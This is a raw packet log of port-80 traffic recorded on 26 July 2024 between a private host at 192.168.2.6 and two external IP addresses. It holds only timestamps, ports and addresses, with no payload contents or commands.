Jul 26, 2024 13:49:23.595597982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.595608950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.596194029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.596206903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.596216917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.596229076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.597318888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.597330093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.597341061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.598155022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.598166943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.598179102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.599353075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.599365950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.599376917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.599390030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.600066900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.600079060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.600090027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.600996971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.601010084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.601021051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.601939917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.601953983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.601963997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.601980925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.602927923 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.602972984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.602987051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.602997065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.603826046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.603840113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.603849888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.604474068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.604494095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.604506016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.604517937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.604597092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.604650974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.604661942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.605441093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.605457067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.605468035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.606205940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.606218100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.606228113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.606237888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.606252909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.607151985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.607163906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.607173920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.607183933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.607497931 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.607497931 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.607570887 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.607570887 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.607570887 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.607641935 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.607677937 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.607677937 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.608125925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.608136892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.608146906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.608159065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.608169079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.609083891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.609096050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.609107018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.609117985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.610049963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.610063076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.610074043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.610085011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.611094952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.611107111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.611115932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.611126900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.611138105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.612896919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.613043070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.613054991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.613413095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.613425016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.613435030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.613445997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.614025116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.614036083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.614047050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.614573956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.614584923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.614594936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.614605904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.615320921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.615331888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.615341902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.615351915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.615361929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.616224051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.616235018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.616245031 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.616255045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.616265059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.617155075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.617167950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.617476940 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.628829956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.628829956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.628829956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.628830910 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.699402094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.699511051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.699522018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.699949980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.699961901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.699973106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.699984074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.700763941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.700776100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.701212883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.701224089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.701235056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.701853991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.701864958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.701874971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.701885939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.702796936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.702809095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.702821016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.702831030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.702847004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.702858925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.703712940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.703723907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.703732967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.703743935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.703754902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.704472065 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.704472065 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.704509020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.704571009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.704581976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.704591990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.704602957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.704613924 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.704840899 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.705498934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.705511093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.705519915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.705532074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.705542088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.705553055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.706376076 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.706432104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.706444025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.706454039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.706465006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.706476927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.706487894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.706556082 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.707379103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.707391977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.707401991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.707412004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.707422018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.707432985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.708291054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.708302021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.708312035 CEST	80	59039	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:23.708323002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.708333969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.708344936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.709244967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.709259033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.709269047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.709280014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.709290981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.710263014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.710274935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.710284948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.710297108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.710308075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.710319996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.710776091 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.710952044 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.710994005 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.711000919 CEST	59039	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:23.711312056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.711323023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.711332083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.711343050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.711354017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.711364985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712157011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712167978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712178946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712188959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712198973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712209940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712395906 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.712447882 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.712964058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712975979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712985992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.712996960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.713011980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.713432074 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.714135885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714148045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714158058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714169025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714179993 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714190960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714829922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714842081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714852095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714864016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714873075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.714884996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.715589046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.715600967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.715611935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.715621948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.715631962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.715645075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.716418028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.716429949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.716440916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.716451883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.716463089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.716474056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.716490984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.716871023 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.716898918 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.717152119 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.786145926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.786180973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.786194086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.786241055 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.786277056 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.786523104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.786535978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.786546946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787005901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787017107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787028074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787038088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787048101 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.787048101 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.787049055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787708998 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.787723064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787734032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787744045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787754059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.787765026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.788606882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.788618088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.788629055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.788640022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.788650036 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.788661003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.789477110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.789486885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.789496899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.789508104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.789518118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.789527893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.790252924 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.790263891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.790273905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.790283918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.790294886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.790307045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791121006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791131973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791141987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791152954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791162968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791174889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791965008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791975975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791980028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791985989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791990995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.791996956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.792568922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.792685032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.792747974 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.792747974 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.792920113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.792932987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.792937994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.792943001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.792953968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.792964935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.792974949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793597937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793610096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793620110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793631077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793642044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793653011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793663025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793673038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.793683052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794339895 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.794339895 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.794641972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794652939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794663906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794675112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794684887 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794696093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794706106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794715881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.794920921 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.795584917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.795595884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.795604944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.795615911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.795625925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.795636892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.795648098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.795660019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.795676947 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.795676947 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.795676947 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.796600103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.796611071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.796622038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.796633005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.796638012 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.796638012 CEST	59020	80	192.168.2.6	85.28.47.31
